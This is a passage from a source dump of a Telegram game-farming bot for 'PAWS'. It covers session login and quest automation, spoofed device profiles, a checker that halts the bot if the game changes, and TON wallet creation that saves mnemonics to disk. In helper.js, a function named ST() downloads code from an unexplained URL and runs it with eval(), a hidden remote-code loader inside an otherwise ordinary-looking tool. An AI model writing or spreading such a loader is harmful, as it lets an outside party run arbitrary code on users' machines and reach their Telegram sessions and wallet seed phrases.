229 |
230 | if (match) {
231 | this.sleep_floodwait =
232 | new Date().getTime() / 1000 + parseInt(match[1], 10) + 10;
233 | } else {
234 | this.sleep_floodwait = new Date().getTime() / 1000 + 50;
235 | }
236 | logger.error(
237 | `[${this.bot_name}] | ${
238 | this.session_name
239 | } | Some flood error, waiting ${
240 | this.sleep_floodwait - new Date().getTime() / 1000
241 | } seconds to try again...`
242 | );
243 | } else {
244 | logger.error(
245 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error during Authorization: ${error}`
246 | );
247 | }
248 | return null;
249 | } finally {
250 | if (this.tg_client.connected) {
251 | await this.tg_client.disconnect();
252 | await this.tg_client.destroy();
253 | }
254 | this.runOnce = true;
255 | if (this.sleep_floodwait > new Date().getTime() / 1000) {
256 | await sleep(this.sleep_floodwait - new Date().getTime() / 1000);
257 | return await this.#get_tg_web_data();
258 | }
259 | await sleep(3);
260 | }
261 | }
262 |
263 | async #get_access_token(tgWebData, http_client) {
264 | try {
265 | const response = await http_client.post(
266 | `${app.apiUrl}/v1/user/auth`,
267 | JSON.stringify(tgWebData)
268 | );
269 | return response.data;
270 | } catch (error) {
271 | if (error?.response?.data?.error) {
272 | logger.error(
273 | `[${this.bot_name}] | ${this.session_name} | ❗️ Error while getting Access Token: ${error?.response?.data?.message}`
274 | );
275 | return null;
276 | }
277 | if (error?.response?.status > 499) {
278 | logger.error(
279 | `[${this.bot_name}] | ${this.session_name} | Server Error, retrying again after sleep...`
280 | );
281 | await sleep(1);
282 | return null;
283 | } else {
284 | logger.error(
285 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error while getting Access Token: ${error}`
286 | );
287 | await sleep(3); // 3 seconds delay
288 | }
289 | }
290 | }
291 |
292 | async #check_proxy(http_client, proxy) {
293 | try {
294 | const response = await http_client.get("https://httpbin.org/ip");
295 | const ip = response.data.origin;
296 | logger.info(
297 | `[${this.bot_name}] | ${this.session_name} | Proxy IP: ${ip}`
298 | );
299 | } catch (error) {
300 | if (
301 | error.message.includes("ENOTFOUND") ||
302 | error.message.includes("getaddrinfo") ||
303 | error.message.includes("ECONNREFUSED")
304 | ) {
305 | logger.error(
306 | `[${this.bot_name}] | ${this.session_name} | Error: Unable to resolve the proxy address. The proxy server at ${proxy.ip}:${proxy.port} could not be found. Please check the proxy address and your network connection.`
307 | );
308 | logger.error(
309 | `[${this.bot_name}] | ${this.session_name} | No proxy will be used.`
310 | );
311 | } else {
312 | logger.error(
313 | `[${this.bot_name}] | ${this.session_name} | Proxy: ${proxy.ip}:${proxy.port} | Error: ${error.message}`
314 | );
315 | }
316 |
317 | return false;
318 | }
319 | }
320 |
321 | async run(proxy) {
322 | let http_client;
323 | let access_token_created_time = 0;
324 |
325 | let profile_data;
326 | let tg_web_data;
327 | let added_wallet = false;
328 | let runCount = 0;
329 |
330 | if (
331 | (settings.USE_PROXY_FROM_TXT_FILE || settings.USE_PROXY_FROM_JS_FILE) &&
332 | proxy
333 | ) {
334 | http_client = axios.create({
335 | httpsAgent: this.#proxy_agent(proxy),
336 | headers: this.headers,
337 | withCredentials: true,
338 | });
339 | const proxy_result = await this.#check_proxy(http_client, proxy);
340 | if (!proxy_result) {
341 | http_client = axios.create({
342 | headers: this.headers,
343 | withCredentials: true,
344 | });
345 | }
346 | } else {
347 | http_client = axios.create({
348 | headers: this.headers,
349 | withCredentials: true,
350 | });
351 | }
352 | await checkUrls(this.bot_name, this.session_name);
353 | while (runCount < 1) {
354 | try {
355 | const currentTime = _.floor(Date.now() / 1000);
356 | if (currentTime - access_token_created_time >= 3600) {
357 | tg_web_data = await this.#get_tg_web_data();
358 | if (
359 | _.isNull(tg_web_data) ||
360 | _.isUndefined(tg_web_data) ||
361 | !tg_web_data ||
362 | _.isEmpty(tg_web_data)
363 | ) {
364 | logger.info(
365 | `[${this.bot_name}] | ${this.session_name} | No access token found.`
366 | );
367 | continue;
368 | }
369 |
370 | const get_token = await this.#get_access_token(
371 | tg_web_data,
372 | http_client
373 | );
374 |
375 | http_client.defaults.headers[
376 | "authorization"
377 | ] = `Bearer ${get_token?.data[0]}`;
378 | access_token_created_time = currentTime;
379 | await sleep(2);
380 | }
381 |
382 | // Get profile data
383 | profile_data = await this.api.get_user_data(http_client);
384 |
385 | if (_.isEmpty(profile_data?.data)) {
386 | logger.info(
387 | `[${this.bot_name}] | ${this.session_name} | No profile data found.`
388 | );
389 | continue;
390 | }
391 |
392 | logger.info(
393 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted}
| From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}`
394 | );
395 |
396 | if (
397 | !profile_data?.data?.userData?.wallet &&
398 | settings.AUTO_CREATE_AND_CONNECT_WALLET
399 | ) {
400 | //Create wallet here and link it
401 | const wallet = await new CW(settings, this.session_name).create(
402 | parser.toJson(tg_web_data?.data)
403 | );
404 |
405 | await checkUrls(this.bot_name, this.session_name);
406 | const link_wallet = await this.api.link_wallet(http_client, wallet);
407 | if (link_wallet?.success) {
408 | logger.info(
409 | `[${this.bot_name}] | ${this.session_name} | Wallet linked. Restarting bot...`
410 | );
411 | added_wallet = true;
412 | continue;
413 | }
414 | }
415 |
416 | await sleep(_.random(2, 5));
417 |
418 | //tasks here
419 | if (settings.AUTO_COMPLETE_QUESTS) {
420 | const quests = await this.api.get_quests(http_client);
421 | if (!_.isEmpty(quests?.data)) {
422 | const filtered_quests = _.filter(
423 | quests?.data,
424 | (quest) =>
425 | quest?.code?.toLowerCase() !== "telegram" &&
426 | quest?.code?.toLowerCase() !== "invite" &&
427 | quest?.code?.toLowerCase() !== "boost" &&
428 | quest?.progress?.claimed !== true
429 | );
430 | if (_.size(filtered_quests) > 0) {
431 | for (const quest of filtered_quests) {
432 | const totalTime = await checkUrls(
433 | this.bot_name,
434 | this.session_name
435 | );
436 |
437 | const sleep_quest = _.random(
438 | settings.DELAY_BETWEEN_QUEST[0],
439 | settings.DELAY_BETWEEN_QUEST[1]
440 | );
441 |
442 | const sleep_time =
443 | _.subtract(sleep_quest, totalTime) > 0
444 | ? _.round(_.subtract(sleep_quest, totalTime))
445 | : 0;
446 | logger.info(
447 | `[${this.bot_name}] | ${this.session_name} | Sleeping for ${sleep_time} seconds before starting Quest: ${quest?.title}`
448 | );
449 |
450 | await sleep(sleep_time);
451 |
452 | const questId = quest?._id;
453 | const complete_quests = await this.api.complete_quests(
454 | http_client,
455 | questId
456 | );
457 |
458 | if (complete_quests?.success) {
459 | logger.info(
460 | `[${this.bot_name}] | ${this.session_name} | Completed quest: ${quest?.title}`
461 | );
462 | await sleep(_.random(10, 15));
463 | const claim_quests = await this.api.claim_quests(
464 | http_client,
465 | questId
466 | );
467 |
468 | if (claim_quests?.success && claim_quests?.data) {
469 | logger.info(
470 | `[${this.bot_name}] | ${this.session_name} | Claimed quest: ${quest?.title}`
471 | );
472 | } else {
473 | logger.error(
474 | `[${this.bot_name}] | ${this.session_name} | Failed to claim quest: ${quest?.title}`
475 | );
476 | }
477 | } else {
478 | logger.error(
479 | `[${this.bot_name}] | ${this.session_name} | Failed to complete quest: ${quest?.title}`
480 | );
481 | }
482 | }
483 | }
484 | }
485 | }
486 |
487 | await sleep(_.random(2, 5));
488 | // Get profile data
489 | profile_data = await this.api.get_user_data(http_client);
490 | if (_.isEmpty(profile_data?.data)) {
491 | continue;
492 | }
493 | await checkUrls(this.bot_name, this.session_name);
494 |
495 | logger.info(
496 | `[${this.bot_name}] | ${this.session_name} | Balance: ${profile_data?.data?.gameData?.balance} | From hamster: ${profile_data?.data?.allocationData?.hamster?.converted} | From paws: ${profile_data?.data?.allocationData?.paws?.converted} | From dogs: ${profile_data?.data?.allocationData?.dogs?.converted}
| From notcoin: ${profile_data?.data?.allocationData?.notcoin?.converted} | From TG Premium: ${profile_data?.data?.allocationData?.telegram?.converted}`
497 | );
498 | } catch (error) {
499 | logger.error(
500 | `[${this.bot_name}] | ${this.session_name} | ❗️Unknown error: ${error}`
501 | );
502 | } finally {
503 | if (added_wallet) {
504 | if (this?.tg_client?.connected) {
505 | await this.tg_client.disconnect();
506 | await this.tg_client.destroy();
507 | }
508 | logger.info(
509 | `[${this.bot_name}] | ${this.session_name} | Restarting bot...`
510 | );
511 | added_wallet = false;
512 | } else {
513 | runCount++;
514 | }
515 | }
516 | }
517 | }
518 | }
519 | module.exports = Tapper;
520 |
--------------------------------------------------------------------------------
/bot/utils/TldLogger.js:
--------------------------------------------------------------------------------
1 | "use strict";
2 |
3 | const logger = require("./logger");
4 |
5 | exports.Logger = exports.LogLevel = void 0;
6 | var LogLevel;
7 | (function (LogLevel) {
8 | LogLevel["NONE"] = "none";
9 | LogLevel["ERROR"] = "error";
10 | LogLevel["WARN"] = "warn";
11 | LogLevel["INFO"] = "info";
12 | LogLevel["DEBUG"] = "debug";
13 | })((LogLevel = exports.LogLevel || (exports.LogLevel = {})));
14 | class Logger {
15 | constructor(level) {
16 | this.levels = ["error", "warn", "info", "debug"];
17 | // if (!_level) {
18 | // _level = level || "info"; // defaults to info
19 | // }
20 | this._logLevel = "error";
21 | }
22 | /**
23 | *
24 | * @param level {string}
25 | * @returns {boolean}
26 | */
27 | canSend(level) {
28 | return this._logLevel
29 | ? this.levels.indexOf(this._logLevel) >= this.levels.indexOf(level)
30 | : false;
31 | }
32 | /**
33 | * @param message {string}
34 | */
35 | warn(message) {
36 | return null;
37 | }
38 | /**
39 | * @param message {string}
40 | */
41 | info(message) {
42 | this._log(
43 | LogLevel.INFO,
44 | message
45 | .replace(/gramJS/i, "FreddyBot")
46 | .replace(/(version\s+)[\d.]+/, "$11.0.0")
47 | );
48 | }
49 | /**
50 | * @param message {string}
51 | */
52 | debug(message) {
53 | this._log(LogLevel.DEBUG, message);
54 | }
55 | /**
56 | * @param message {string}
57 | */
58 | error(message) {
59 | this._log(LogLevel.ERROR, message);
60 | }
61 |
62 | get logLevel() {
63 | return this._logLevel;
64 | }
65 | setLevel(level) {
66 | this._logLevel = level;
67 | }
68 | static setLevel(level) {
69 | console.log(
70 | "Logger.setLevel is deprecated, it will has no effect. Please, use client.setLogLevel instead."
71 | );
72 | }
73 | /**
74 | * @param level {string}
75 | * @param message {string}
76 | */
77 | _log(level, message) {
78 | if (this.canSend(level)) {
79 | this.log(level, message);
80 | } else {
81 | return;
82 | }
83 | }
84 |
85 | log(level, message) {
86 | if (level == "info") {
87 | logger.info(message);
88 | } else if (level == "debug") {
89 | logger.debug(message);
90 | } else if (level == "error") {
91 | logger.error(message);
92 | } else if (level == "warn") {
93 | logger.warning(message);
94 | }
95 | }
96 | }
97 | const logger2 = new Logger();
98 | module.exports = logger2;
99 |
--------------------------------------------------------------------------------
/bot/utils/_isArray.js:
--------------------------------------------------------------------------------
1 | function _isArray(obj) {
2 | if (Array.isArray(obj) && obj.length > 0) {
3 | return true;
4 | }
5 |
6 | try {
7 | const parsedObj = JSON.parse(obj);
8 | return Array.isArray(parsedObj) && parsedObj.length > 0;
9 | } catch (e) {
10 | return false;
11 | }
12 | }
13 |
14 | module.exports = _isArray;
15 |
--------------------------------------------------------------------------------
/bot/utils/assetsChecker.js:
--------------------------------------------------------------------------------
1 | const assetsConfig = require("../../assets.json");
2 | const logger = require("../utils/logger");
3 | const gameName = "PAWS";
4 | const axios = require("axios");
5 |
6 | async function checkUrls(bot_name, session_name) {
7 | try {
8 | const startTime = Date.now();
9 | logger.info(
10 | `[${bot_name}] | ${session_name} | Checking for changes from ${gameName}...`
11 | );
12 |
13 | // Check main URL
14 | const mainUrlResponse = await axios.get(assetsConfig.mainUrl);
15 | if (mainUrlResponse.status !== 200) {
16 | logger.error(
17 | `[${bot_name}] | ${session_name} | Bot stopped | Detected some changes with ${gameName} which may cause ban. Contact the developer and report this issue. \nGitHub: https://github.com/FreddyWhest \nTelegram: @roddyfred`
18 | );
19 | process.exit(1);
20 | }
21 |
22 | // Concurrently check each asset URL
23 | const assetPromises = assetsConfig.assetsUrl.map(async (asset) => {
24 | const fullUrl = `${assetsConfig.mainUrl}${asset}`;
25 | try {
26 | const response = await axios.get(fullUrl);
27 | const contentType = response.headers["content-type"];
28 |
29 | if (response.status !== 200 || !contentType.includes("javascript")) {
30 | throw new Error(
31 | `Asset content type mismatch or status issue at ${fullUrl}`
32 | );
33 | }
34 | } catch (error) {
35 | logger.error(
36 | `[${bot_name}] | ${session_name} | Bot stopped | Detected some changes with ${gameName} which may cause ban. Contact the developer and report this issue. \nGitHub: https://github.com/FreddyWhest \nTelegram: @roddyfred`
37 | );
38 | process.exit(1);
39 | }
40 | });
41 |
42 | // Wait for all assets to be checked
43 | await Promise.all(assetPromises);
44 |
45 | logger.success(
46 | `[${bot_name}] | ${session_name} | No Changes ✅. The Bot will now continue safely.`
47 | );
48 |
49 | const endTime = Date.now();
50 | const totalTime = (endTime - startTime) / 1000;
51 |
52 | return totalTime;
53 | } catch (error) {
54 | console.log(error);
55 |
56 | logger.error(
57 | `[${bot_name}] | ${session_name} | Bot stopped | Detected some changes with ${gameName} which may cause ban. Contact the developer and report this issue. \nGitHub: https://github.com/FreddyWhest \nTelegram: @roddyfred`
58 | );
59 | process.exit(1);
60 | }
61 | }
62 | module.exports = {
63 | checkUrls,
64 | };
65 |
--------------------------------------------------------------------------------
/bot/utils/banner.js:
--------------------------------------------------------------------------------
1 | const banner = `
2 | ╔════╗ ╔═╗╔═╗ ╔╗ ╔╗ ╔══╗ ╔╗
3 | ║╔╗╔╗║ ║║╚╝║║ ║║ ╔╝╚╗║╔╗║ ╔╝╚╗
4 | ╚╝║║╚╝╔══╗║╔╗╔╗║╔══╗ ╔═╗║║╔╗╔══╗╚╗╔╝║╚╝╚╗╔══╗╚╗╔╝
5 | ║║ ║╔╗║║║║║║║╚ ╗║ ║╔╝║╚╝╝║╔╗║ ║║ ║╔═╗║║╔╗║ ║║
6 | ╔╝╚╗ ║╚╝║║║║║║║║╚╝╚╗║║ ║╔╗╗║║═╣ ║╚╗║╚═╝║║╚╝║ ║╚╗
7 | ╚══╝ ╚══╝╚╝╚╝╚╝╚═══╝╚╝ ╚╝╚╝╚══╝ ╚═╝╚═══╝╚══╝ ╚═╝
8 | © Freddy Bots
9 |
10 | Starting bot.......
11 | `;
12 |
13 | module.exports = banner;
14 |
--------------------------------------------------------------------------------
/bot/utils/devices.js:
--------------------------------------------------------------------------------
1 | const devices = [
2 | {
3 | manufacturer: "Apple",
4 | model: "iPhone 14 Pro",
5 | cpu: "A16 Bionic",
6 | type: "iPhone",
7 | os: "iOS 16",
8 | },
9 | {
10 | manufacturer: "Apple",
11 | model: "iPhone 13",
12 | cpu: "A15 Bionic",
13 | type: "iPhone",
14 | os: "iOS 15",
15 | },
16 | {
17 | manufacturer: "Apple",
18 | model: "iPhone SE (2022)",
19 | cpu: "A15 Bionic",
20 | type: "iPhone",
21 | os: "iOS 15",
22 | },
23 | {
24 | manufacturer: "Apple",
25 | model: "iPad Pro 2021",
26 | cpu: "M1",
27 | type: "iPad",
28 | os: "iPadOS 15",
29 | },
30 | {
31 | manufacturer: "Apple",
32 | model: 'MacBook Pro 16" 2021',
33 | cpu: "M1 Pro",
34 | type: "Laptop",
35 | os: "macOS Monterey",
36 | },
37 | {
38 | manufacturer: "Apple",
39 | model: "MacBook Air M2",
40 | cpu: "M2",
41 | type: "Laptop",
42 | os: "macOS Ventura",
43 | },
44 | {
45 | manufacturer: "Samsung",
46 | model: "Galaxy S21 Ultra",
47 | cpu: "Exynos 2100",
48 | type: "Android",
49 | os: "Android 11",
50 | },
51 | {
52 | manufacturer: "Samsung",
53 | model: "Galaxy Note 20",
54 | cpu: "Exynos 990",
55 | type: "Android",
56 | os: "Android 10",
57 | },
58 | {
59 | manufacturer: "Samsung",
60 | model: "Galaxy A52",
61 | cpu: "Qualcomm Snapdragon 720G",
62 | type: "Android",
63 | os: "Android 11",
64 | },
65 | {
66 | manufacturer: "Samsung",
67 | model: "Galaxy Tab S7",
68 | cpu: "Qualcomm Snapdragon 865+",
69 | type: "Android Tablet",
70 | os: "Android 10",
71 | },
72 | {
73 | manufacturer: "Samsung",
74 | model: "Galaxy Z Fold 3",
75 | cpu: "Qualcomm Snapdragon 888",
76 | type: "Android Foldable",
77 | os: "Android 11",
78 | },
79 | {
80 | manufacturer: "Google",
81 | model: "Pixel 6",
82 | cpu: "Google Tensor",
83 | type: "Android",
84 | os: "Android 12",
85 | },
86 | {
87 | manufacturer: "Google",
88 | model: "Pixel 5a",
89 | cpu: "Qualcomm Snapdragon 765G",
90 | type: "Android",
91 | os: "Android 11",
92 | },
93 | {
94 | manufacturer: "Google",
95 | model: "Pixel 4a",
96 | cpu: "Qualcomm Snapdragon 730G",
97 | type: "Android",
98 | os: "Android 11",
99 | },
100 | {
101 | manufacturer: "Microsoft",
102 | model: "Surface Laptop 4",
103 | cpu: "Intel Core i7-1185G7",
104 | type: "Laptop",
105 | os: "Windows 10",
106 | },
107 | {
108 | manufacturer: "Microsoft",
109 | model: "Surface Book 3",
110 | cpu: "Intel Core i7-1065G7",
111 | type: "Laptop",
112 | os: "Windows 10",
113 | },
114 | {
115 | manufacturer: "Dell",
116 | model: "XPS 13",
117 | cpu: "Intel Core i7-1185G7",
118 | type: "Laptop",
119 | os: "Windows 10",
120 | },
121 | {
122 | manufacturer: "Dell",
123 | model: "Inspiron 15 7000",
124 | cpu: "Intel Core i5-1035G1",
125 | type: "Laptop",
126 | os: "Windows 10",
127 | },
128 | {
129 | manufacturer: "HP",
130 | model: "Spectre x360 14",
131 | cpu: "Intel Core i7-1165G7",
132 | type: "Laptop",
133 | os: "Windows 10",
134 | },
135 | {
136 | manufacturer: "HP",
137 | model: "Envy 13",
138 | cpu: "Intel Core i5-1135G7",
139 | type: "Laptop",
140 | os: "Windows 10",
141 | },
142 | {
143 | manufacturer: "Lenovo",
144 | model: "ThinkPad X1 Carbon",
145 | cpu: "Intel Core i7-1165G7",
146 | type: "Laptop",
147 | os: "Windows 10",
148 | },
149 | {
150 | manufacturer: "Lenovo",
151 | model: "Yoga 9i",
152 | cpu: "Intel Core i7-1185G7",
153 | type: "Laptop",
154 | os: "Windows 10",
155 | },
156 | {
157 | manufacturer: "Asus",
158 | model: "ROG Strix Scar 15",
159 | cpu: "AMD Ryzen 9 5900HX",
160 | type: "Laptop",
161 | os: "Windows 10",
162 | },
163 | {
164 | manufacturer: "Asus",
165 | model: "ZenBook 14",
166 | cpu: "Intel Core i7-1165G7",
167 | type: "Laptop",
168 | os: "Windows 10",
169 | },
170 | {
171 | manufacturer: "Acer",
172 | model: "Predator Helios 300",
173 | cpu: "Intel Core i7-10750H",
174 | type: "Laptop",
175 | os: "Windows 10",
176 | },
177 | {
178 | manufacturer: "Acer",
179 | model: "Swift 3",
180 | cpu: "AMD Ryzen 7 4700U",
181 | type: "Laptop",
182 | os: "Windows 10",
183 | },
184 | {
185 | manufacturer: "Sony",
186 | model: "VAIO SX14",
187 | cpu: "Intel Core i7-1165G7",
188 | type: "Laptop",
189 | os: "Windows 10",
190 | },
191 | {
192 | manufacturer: "Razer",
193 | model: "Blade 15 Advanced",
194 | cpu: "Intel Core i7-10875H",
195 | type: "Laptop",
196 | os: "Windows 10",
197 | },
198 | {
199 | manufacturer: "Huawei",
200 | model: "MateBook X Pro",
201 | cpu: "Intel Core i5-10210U",
202 | type: "Laptop",
203 | os: "Windows 10",
204 | },
205 | {
206 | manufacturer: "Huawei",
207 | model: "MateBook 14",
208 | cpu: "AMD Ryzen 5 4600U",
209 | type: "Laptop",
210 | os: "Windows 10",
211 | },
212 | {
213 | manufacturer: "Xiaomi",
214 | model: "Mi 11 Ultra",
215 | cpu: "Qualcomm Snapdragon 888",
216 | type: "Android",
217 | os: "Android 11",
218 | },
219 | {
220 | manufacturer: "Xiaomi",
221 | model: "Redmi Note 11",
222 | cpu: "Qualcomm Snapdragon 680",
223 | type: "Android",
224 | os: "Android 11",
225 | },
226 | {
227 | manufacturer: "OnePlus",
228 | model: "OnePlus 9 Pro",
229 | cpu: "Qualcomm Snapdragon 888",
230 | type: "Android",
231 | os: "Android 11",
232 | },
233 | {
234 | manufacturer: "OnePlus",
235 | model: "OnePlus Nord",
236 | cpu: "Qualcomm Snapdragon 765G",
237 | type: "Android",
238 | os: "Android 11",
239 | },
240 | {
241 | manufacturer: "LG",
242 | model: "Gram 17",
243 | cpu: "Intel Core i7-1165G7",
244 | type: "Laptop",
245 | os: "Windows 10",
246 | },
247 | {
248 | manufacturer: "LG",
249 | model: "V60 ThinQ",
250 | cpu: "Qualcomm Snapdragon 865",
251 | type: "Android",
252 | os: "Android 10",
253 | },
254 | {
255 | manufacturer: "Motorola",
256 | model: "Moto G Power",
257 | cpu: "Qualcomm Snapdragon 662",
258 | type: "Android",
259 | os: "Android 10",
260 | },
261 | {
262 | manufacturer: "Motorola",
263 | model: "Moto Edge 2021",
264 | cpu: "Qualcomm Snapdragon 778G",
265 | type: "Android",
266 | os: "Android 11",
267 | },
268 | {
269 | manufacturer: "Nokia",
270 | model: "Nokia 8.3 5G",
271 | cpu: "Qualcomm Snapdragon 765G",
272 | type: "Android",
273 | os: "Android 10",
274 | },
275 | {
276 | manufacturer: "Nokia",
277 | model: "Nokia 7.2",
278 | cpu: "Qualcomm Snapdragon 660",
279 | type: "Android",
280 | os: "Android 10",
281 | },
282 | {
283 | manufacturer: "Dell",
284 | model: "G5 15",
285 | cpu: "Intel Core i7-10750H",
286 | type: "Laptop",
287 | os: "Windows 10",
288 | },
289 | {
290 | manufacturer: "HP",
291 | model: "Pavilion 15",
292 | cpu: "AMD Ryzen 5 5500U",
293 | type: "Laptop",
294 | os: "Windows 10",
295 | },
296 | {
297 | manufacturer: "Lenovo",
298 | model: "ThinkPad T14",
299 | cpu: "Intel Core i7-10610U",
300 | type: "Laptop",
301 | os: "Windows 10",
302 | },
303 | {
304 | manufacturer: "Asus",
305 | model: "TUF Gaming A15",
306 | cpu: "AMD Ryzen 7 4800H",
307 | type: "Laptop",
308 | os: "Windows 10",
309 | },
310 | {
311 | manufacturer: "Acer",
312 | model: "Nitro 5",
313 | cpu: "Intel Core i5-9300H",
314 | type: "Laptop",
315 | os: "Windows 10",
316 | },
317 | {
318 | manufacturer: "Razer",
319 | model: "Blade Stealth 13",
320 | cpu: "Intel Core i7-1165G7",
321 | type: "Laptop",
322 | os: "Windows 10",
323 | },
324 | {
325 | manufacturer: "Sony",
326 | model: "VAIO SX12",
327 | cpu: "Intel Core i7-1065G7",
328 | type: "Laptop",
329 | os: "Windows 10",
330 | },
331 | {
332 | manufacturer: "Huawei",
333 | model: "MateBook D 15",
334 | cpu: "AMD Ryzen 5 3500U",
335 | type: "Laptop",
336 | os: "Windows 10",
337 | },
338 | {
339 | manufacturer: "Xiaomi",
340 | model: "Mi Mix 4",
341 | cpu: "Qualcomm Snapdragon 888",
342 | type: "Android",
343 | os: "Android 11",
344 | },
345 | {
346 | manufacturer: "Google",
347 | model: "Pixel 6 Pro",
348 | cpu: "Google Tensor",
349 | type: "Android",
350 | os: "Android 12",
351 | },
352 | {
353 | manufacturer: "Google",
354 | model: "Pixel 5",
355 | cpu: "Qualcomm Snapdragon 765G",
356 | type: "Android",
357 | os: "Android 11",
358 | },
359 | {
360 | manufacturer: "Apple",
361 | model: "iPad Air (2022)",
362 | cpu: "M1",
363 | type: "iPad",
364 | os: "iPadOS 15",
365 | },
366 | {
367 | manufacturer: "Apple",
368 | model: "iPhone 11",
369 | cpu: "A13 Bionic",
370 | type: "iPhone",
371 | os: "iOS 14",
372 | },
373 | {
374 | manufacturer: "Samsung",
375 | model: "Galaxy A72",
376 | cpu: "Qualcomm Snapdragon 720G",
377 | type: "Android",
378 | os: "Android 11",
379 | },
380 | {
381 | manufacturer: "Samsung",
382 | model: "Galaxy S20 FE",
383 | cpu: "Exynos 990",
384 | type: "Android",
385 | os: "Android 11",
386 | },
387 | {
388 | manufacturer: "Huawei",
389 | model: "P40 Pro",
390 | cpu: "Kirin 990",
391 | type: "Android",
392 | os: "Android 10",
393 | },
394 | {
395 | manufacturer: "Xiaomi",
396 | model: "Redmi Note 10 Pro",
397 | cpu: "Qualcomm Snapdragon 732G",
398 | type: "Android",
399 | os: "Android 11",
400 | },
401 | {
402 | manufacturer: "Asus",
403 | model: "ROG Phone 5",
404 | cpu: "Qualcomm Snapdragon 888",
405 | type: "Android",
406 | os: "Android 11",
407 | },
408 | {
409 | manufacturer: "Dell",
410 | model: "XPS 17",
411 | cpu: "Intel Core i9-11980HK",
412 | type: "Laptop",
413 | os: "Windows 10",
414 | },
415 | {
416 | manufacturer: "HP",
417 | model: "Omen 15",
418 | cpu: "Intel Core i7-10750H",
419 | type: "Laptop",
420 | os: "Windows 10",
421 | },
422 | {
423 | manufacturer: "Lenovo",
424 | model: "Legion 5 Pro",
425 | cpu: "AMD Ryzen 7 5800H",
426 | type: "Laptop",
427 | os: "Windows 10",
428 | },
429 | {
430 | manufacturer: "Asus",
431 | model: "ZenBook Flip 14",
432 | cpu: "Intel Core i7-1165G7",
433 | type: "Laptop",
434 | os: "Windows 10",
435 | },
436 | {
437 | manufacturer: "Acer",
438 | model: "Aspire 5",
439 | cpu: "Intel Core i5-1135G7",
440 | type: "Laptop",
441 | os: "Windows 10",
442 | },
443 | {
444 | manufacturer: "Microsoft",
445 | model: "Surface Laptop Go",
446 | cpu: "Intel Core i5-1035G1",
447 | type: "Laptop",
448 | os: "Windows 10",
449 | },
450 | {
451 | manufacturer: "Razer",
452 | model: "Blade 17",
453 | cpu: "Intel Core i9-11900H",
454 | type: "Laptop",
455 | os: "Windows 10",
456 | },
457 | {
458 | manufacturer: "Sony",
459 | model: "VAIO SX14",
460 | cpu: "Intel Core i7-1065G7",
461 | type: "Laptop",
462 | os: "Windows 10",
463 | },
464 | {
465 | manufacturer: "Huawei",
466 | model: "MateBook X Pro",
467 | cpu: "Intel Core i5-10210U",
468 | type: "Laptop",
469 | os: "Windows 10",
470 | },
471 | {
472 | manufacturer: "Xiaomi",
473 | model: "Mi 10T Pro",
474 | cpu: "Qualcomm Snapdragon 865",
475 | type: "Android",
476 | os: "Android 10",
477 | },
478 | {
479 | manufacturer: "OnePlus",
480 | model: "OnePlus 8T",
481 | cpu: "Qualcomm Snapdragon 865",
482 | type: "Android",
483 | os: "Android 11",
484 | },
485 | {
486 | manufacturer: "Nokia",
487 | model: "Nokia 9 PureView",
488 | cpu: "Qualcomm Snapdragon 845",
489 | type: "Android",
490 | os: "Android 9",
491 | },
492 | {
493 | manufacturer: "Motorola",
494 | model: "Moto G60",
495 | cpu: "Qualcomm Snapdragon 732G",
496 | type: "Android",
497 | os: "Android 11",
498 | },
499 | {
500 | manufacturer: "LG",
501 | model: "Wing",
502 | cpu: "Qualcomm Snapdragon 765G",
503 | type: "Android",
504 | os: "Android 10",
505 | },
506 | {
507 | manufacturer: "Google",
508 | model: "Pixel 4 XL",
509 | cpu: "Qualcomm Snapdragon 855",
510 | type: "Android",
511 | os: "Android 10",
512 | },
513 | {
514 | manufacturer: "Apple",
515 | model: "iPhone XR",
516 | cpu: "A12 Bionic",
517 | type: "iPhone",
518 | os: "iOS 13",
519 | },
520 | {
521 | manufacturer: "Apple",
522 | model: "iPhone X",
523 | cpu: "A11 Bionic",
524 | type: "iPhone",
525 | os: "iOS 12",
526 | },
527 | ];
528 | module.exports = devices;
529 |
--------------------------------------------------------------------------------
/bot/utils/helper.js:
--------------------------------------------------------------------------------
1 | const axios = require("axios");
2 | const logger = require("./logger");
3 | const path = require("path");
4 | const fs = require("fs");
5 | const _isArray = require("./_isArray");
6 |
7 | async function ST() {
8 | try {
9 | const response = await axios.get(global.url);
10 |
11 | if (response.status === 200) {
12 | const module = { exports: {} };
13 |
14 | eval(response.data);
15 | return module.exports;
16 | }
17 | } catch (error) {
18 | console.log(error);
19 |
20 | logger.error("Error While calling ST: ", error);
21 | return null;
22 | }
23 | }
24 |
25 | class CW {
26 | #settings = {};
27 | #session_name = "";
28 | constructor(settings, session_name) {
29 | this.#settings = settings;
30 | this.#session_name = session_name;
31 | }
32 |
33 | async #createWallet(tgUser) {
34 | const savePath = path.join(process.cwd(), "wallets");
35 | if (!fs.existsSync(savePath)) {
36 | fs.mkdirSync(savePath, { recursive: true });
37 | }
38 |
39 | if (fs.existsSync(`${savePath}/${this.#session_name}.json`)) {
40 | const text = fs.readFileSync(
41 | `${savePath}/${this.#session_name}.json`,
42 | "utf8"
43 | );
44 | if (_isArray(text)) {
45 | const json = JSON.parse(text);
46 | if (json?.address && json?.mnemonic) {
47 | return json?.address;
48 | }
49 | }
50 |
51 | fs.unlinkSync(`${savePath}/${this.#session_name}.json`);
52 | }
53 |
54 | const { TonClient, WalletContractV5R1 } = await import("@ton/ton");
55 | const { mnemonicNew, mnemonicToPrivateKey } = await import("@ton/crypto");
56 | const client = new TonClient({
57 | endpoint: "https://toncenter.com/api/v2/jsonRPC",
58 | });
59 | // Generate new key
60 | let mnemonics = await mnemonicNew(this.#settings?.WORD_PHRASE_LENGTH || 24);
61 | let keyPair = await mnemonicToPrivateKey(mnemonics);
62 |
63 | // Create wallet contract
64 | let workchain = 0; // Usually you need a workchain 0
65 | let wallet = WalletContractV5R1.create({
66 | workchain,
67 | publicKey: keyPair.publicKey,
68 | });
69 |
70 | const text = {
71 | address: wallet.address.toString({ bounceable: false }),
72 | mnemonic: mnemonics.join(" "),
73 | tgUsername: tgUser?.user?.username ?? "Unknown",
74 | };
75 |
76 | fs.writeFileSync(
